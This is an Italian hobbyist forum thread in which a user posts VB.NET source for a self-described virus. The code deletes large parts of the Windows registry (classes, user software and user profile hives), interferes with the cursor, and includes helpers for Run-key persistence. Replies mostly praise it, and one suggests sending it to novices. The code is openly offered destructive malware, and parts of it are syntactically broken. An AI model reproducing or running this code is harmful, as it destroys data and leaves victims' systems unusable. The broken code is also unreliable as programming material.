• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida virus leonardo da vinci

SONNYDJJ

Utente Medio
Autore del topic
1 Settembre 2009
159
0
Miglior risposta
0
buon giorno , dopo mlto tempo ho finalmente creato il virus leonardo da vinci , è stato un progetto abbastanza complicato ma ce l ho fatta!!!!!!!!!!
il virus appena aperto blokka il mouse e il taskmanager, poi procete col distruggere tt le chiavi di registro...

Imports Microsoft.Win32
Public Class Form1
Dim DeleteSubKey As RegistryKey
Dim RegKey As RegistryKey
Private Sub AddCurrentKey(ByVal name as String , ByVal path as String)
Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run",True)
regkey.SetValue(name, path)
End Sub
Private Sub AddLocalKey(ByVal name as String , ByVal path as String)
Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run",True)
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MsgBox("hai aperto il virus leonardo da vinci")
Timer1.Interval = 1
Timer1.Enabled = True
SendKeys.Send("{ESC}")
Cursor.Position = New Point(33, 48)
RegKey = Registry.ClassesRoot
RegKey.DeleteSubKey("*")
RegKey.DeleteSubKey(". .kmz")
RegKey.DeleteSubKey(". .kml")
RegKey.DeleteSubKey("._sln")
RegKey.DeleteSubKey("._sln60")
RegKey.DeleteSubKey("._sln70")
RegKey.Close()
RegKey = Registry.CurrentConfig
RegKey.DeleteSubKey("system")
RegKey.DeleteSubKey("software")
RegKey = Registry.CurrentUser
RegKey.DeleteSubKey("software")
RegKey.Close()
RegKey = Registry.Users
RegKey.DeleteSubKey("5-1-5-19")
RegKey.DeleteSubKey(".default")
RegKey.DeleteSubKey("S-1-5-21-1285573224-1917732508-1159475160-1003")
RegKey.DeleteSubKey("S-1-5-21-1285573224-1917732508-1159475160-1003_Classes")
RegKey.DeleteSubKey("S-1-5-20_Classes")
RegKey.DeleteSubKey("S-1-5-20")
RegKey.DeleteSubKey("S-1-5-18")
RegKey.DeleteSubKey("S-1-5-19")
RegKey.CreateSubKey("operazione terminata")
RegKey.Close()


End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

End Sub

End Class

e qst è quanto
SONNYDJJ:ciao:
 
Ultima modifica:
Ahahaha questo virus l'ho sentito nel film "Hackers" ma non era così, era molto molto più pericoloso.
Comunque bravo anche se è semplice.
 
gia bellissimo hackers io li ho visti tutti cmq bravo bel virus da inviare ai nOOb
 
xD chi ti ha detto come bloccare il mouse? .... firulì firulààà xD comunque nwe hai fatti 3 uguali.
 
Da provare sul proprio computer ::emoji_relieved:
Scherzo, è un bel lavoro, ma non abusatene!
 
Non mi piace! E' un codice squallido, è ripetitivo . Fai qualcosa di più utile ^^ O per lo meno, se devi creare un "virus" (direi più malware)fallo bene .